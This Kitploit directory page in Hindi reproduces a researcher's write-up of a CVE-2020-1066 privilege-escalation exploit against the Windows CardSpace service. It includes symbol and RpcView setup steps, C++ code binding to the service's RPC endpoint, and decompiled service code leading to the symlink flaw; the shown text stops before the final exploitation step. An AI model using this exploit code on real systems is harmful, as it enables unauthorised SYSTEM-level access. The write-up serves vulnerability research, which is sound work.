Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-1066-EXP — स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2020-1066 के लिए, जो Windows 7 और Server 2008 R2 को लक्षित करता है। Windows CardSpace सेवा (idsvc) सिम्बोलिक लिंक दुरुपयोग के माध्यम से मनमाने फ़ाइल प्रतिस्थापन का लाभ उठाकर SYSTEM-स्तरीय कोड निष्पादन प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/cbwang505/cve-2020-1066-exp
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubcbwang505/cve-2020-1066-exp

CVE-2020-1066-EXP

स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2020-1066 के लिए, जो Windows 7 और Server 2008 R2 को लक्षित करता है। Windows CardSpace सेवा (idsvc) सिम्बोलिक लिंक दुरुपयोग के माध्यम से मनमाने फ़ाइल प्रतिस्थापन का लाभ उठाकर SYSTEM-स्तरीय कोड निष्पादन प्राप्त करता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखेंवेबसाइट
18641166 साल पहलेKitploit द्वारा समीक्षित

उद्धरण

यह भेद्यता Windows CardSpace सेवा द्वारा सिम्बोलिक लिंक ऑब्जेक्ट्स को गलत तरीके से संभालने के कारण मनमानी फ़ाइल प्रतिस्थापन के माध्यम से स्थानीय विशेषाधिकार वृद्धि की है।

घोषणा

लेखक का poc केवल शोध उद्देश्यों के लिए है; यदि पाठक इस poc का उपयोग अन्य गतिविधियों के लिए करता है, तो इसका लेखक से कोई संबंध नहीं है।

विषयसूची

[toc]

विश्लेषण

भेद्यता का प्रभाव दायरा

Windows 7 और Windows Server 2008 R2 के सामान्य उपयोगकर्ताओं और विशेष कॉन्फ़िगरेशन सक्षम IIS उपयोगकर्ताओं पर लागू होता है।

भेद्यता सिद्धांत विश्लेषण

लेखक भेद्यता का सबमिटर है, भेद्यता मई 2020 में अपडेट की गई थी। भेद्यता Windows 7 और Windows Server 2008 R2 की Windows CardSpace सेवा (संक्षेप में idsvc) से उत्पन्न हुई है, जिसे कोई भी उपयोगकर्ता प्रारंभ कर सकता है, यह स्वयं System विशेषाधिकारों के साथ चलती है, और सार्वजनिक RPC कॉल प्रदान करती है। जब उपयोगकर्ता वर्तमान उपयोगकर्ता के पर्यावरण चर %APPDATA% निर्देशिका के अंतर्गत निर्दिष्ट कॉन्फ़िगरेशन फ़ाइल को स्थानांतरित करने के लिए ट्रिगर करता है, तो सेवा सिम्बोलिक लिंक ऑब्जेक्ट्स को सही ढंग से संभालने में विफल रहती है, जिससे मनमानी फ़ाइल प्रतिस्थापन के माध्यम से स्थानीय विशेषाधिकार वृद्धि होती है; यह भेद्यता का कारण है।

चूंकि यह RPC कॉल पर आधारित है, इसलिए पहले सेवा के इंटरफ़ेस MIDL को प्राप्त करना आवश्यक है, ताकि उसके साथ इंटरैक्ट करने के लिए स्थानीय कोड लिखा जा सके। लेखक RpcView टूल का उपयोग करने की अनुशंसा करता है। विशिष्ट विधि के लिए RPC भेद्यता खोज श्रृंखला लेख देखें।

पहले निम्नलिखित विधि का उपयोग करके सिम्बोल फ़ाइल प्राप्त करें और टूल में सिम्बोल कॉन्फ़िगर करें, जिसके बाद RPC इंटरफ़ेस IDL फ़ाइल को डीकंपाइल किया जा सकता है। विशिष्ट विधि इस प्रकार है:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

![बड़ा देखने के लिए क्लिक करें](https://assets.kitploit.com/production/public/readmes/23739/e352e478289e665f5c22d5cf68277d086dcd2514254004045ad6c8975749b18e.png)
उपकरण के माध्यम से इसमें से 3 महत्वपूर्ण डेटा प्राप्त करें: Rpc प्रोटोकॉल का प्रकार, प्रोटोकॉल का नाम और प्रोटोकॉल इंटरफ़ेस की क्लाइंट परिभाषा फ़ाइल (IDL फ़ाइल को संकलित करके उत्पन्न .c फ़ाइल, बाईं ओर Decompilation टेक्स्ट बॉक्स देखें), इस प्रकार निम्नलिखित विधि से Rpc सेवा को बांधा जा सकता है।```
BOOL StartRpcService()
{
	RPC_STATUS status;
	unsigned int  cMinCalls = 1;
	RPC_BINDING_HANDLE v5;
	RPC_SECURITY_QOS SecurityQOS = {};
	RPC_WSTR StringBinding = nullptr;
	if (StartConnectingService())
	{
       //Rpc协议的类型,协议名称
		status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
		if (status){
			printf("RpcStringBindingComposeW Failed:%d\n", status);
			return(status);
		}
		status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
		RpcStringFreeW(&StringBinding);
		if (status){
			printf("RpcBindingFromStringBindingW Failed:%d\n", status);
			return(status);
		}
		SecurityQOS.Version = 1;
		SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
		SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
		SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
		status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
		if (status){
			printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
			return(status);
		}
        //绑定接口
		status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
		if (status){
			printf("RpcEpResolveBinding Failed:%d\n", status);
			return(status);
		}
	}
	else
	{
		printf("Start Connecting Windows Cardspace Service Failed");
		return 0;
	}
	return 0;
}

idsvc सेवा कोड को डीकंपाइल करके विशिष्ट परियोजना प्राप्त करें (संबंधित परियोजना देखें)। idsvc सेवा ने वैश्विक RPC इंटरफ़ेस के वैश्विक हैंडलर RequestFactory.ProcessNewRequest को बाइंड किया है। पहली कॉल के लिए, अर्थात parentRequestHandle 0 होने पर, कॉलबैक को संभालने के लिए CreateClientRequestInstance क्लास को कॉल किया जाता है, और बाद के ऑपरेशन CreateUIAgentRequestInstance क्लास द्वारा संभाले जाते हैं।``` //全局RPC接口的全局处理程序  internal static int ProcessNewRequest(  int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs)         {            ... //初次调用                 if (parentRequestHandle == 0)                 {                     using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle())                     {                         using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream))                         {

                            string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求                             num = clientRequestInstance.DoProcessRequest(out extendedMessage);                             RpcResponse outArgs1;                             RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果                             outArgs = outArgs1.Marshal();        } } }

idsvc सेवा RpcRequest->Type फ़ील्ड में वर्ग के नाम के आधार पर संबंधित वर्ग को रिफ्लेक्ट करके कॉलबैक को संसाधित करेगी, यहाँ poc "ManageRequest" वर्ग का उपयोग करता है;```
 private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
        {
            ClientRequest clientRequest = (ClientRequest)null;
            lock (RequestFactory.s_createRequestSync)
            {              
                RequestFactory.RequestName request = 
RequestFactory.s_requestMap[reqName];
                if (-1 != 
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests, 
request))
                {
                    Process contextMapping = 
ClientUIRequest.GetContextMapping(rpcHandle, true);
                    InfoCardTrace.ThrowInvalidArgumentConditional(null == 
contextMapping, nameof(rpcHandle));               
                   WindowsIdentity executionIdentity = 
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
                    InfoCardUIAgent agent = 
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
                    switch (RequestFactory.s_requestMap[reqName])
                    {                       
//这里使用的是"ManageRequest"类;
                        case RequestFactory.RequestName.ManageRequest:

                            clientRequest = (ClientRequest)new 
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, 
outStream);
                            break;                    

                    }
                }

ManageRequest उदाहरण के DoProcessRequest फ़ंक्शन को ट्रिगर करके अनुरोध प्रसंस्करण शुरू होता है, मध्यवर्ती चरणों को छोड़ते हुए, अंत में StoreConnection.CreateDefaultDataSources() को कॉल करके उपयोग बिंदु पर पहुँचता है। सेवा के साथ इंटरैक्ट करते समय, सेवा क्लाइंट का अनुकरण करती है (Impersonate Client) और उपयोगकर्ता प्रोफ़ाइल प्राप्त करती है, डिफ़ॉल्ट रूप से उपयोगकर्ता पर्यावरण चर %APPDATA% निर्देशिका में निर्दिष्ट प्रोफ़ाइल, IIS उपयोगकर्ताओं के लिए विशेष परिस्थिति में डिफ़ॉल्ट रूप से प्रोफ़ाइल लोड नहीं होती है, इसे सक्षम करने के लिए निम्नलिखित कॉन्फ़िगरेशन खोलना होगा, एप्लिकेशन पूल -> उन्नत सेटिंग्स पर क्लिक करें। बड़ी छवि देखने के लिए क्लिक करें``` //构造函数   protected StoreConnection(WindowsIdentity identity)

टूल डाउनलोड करें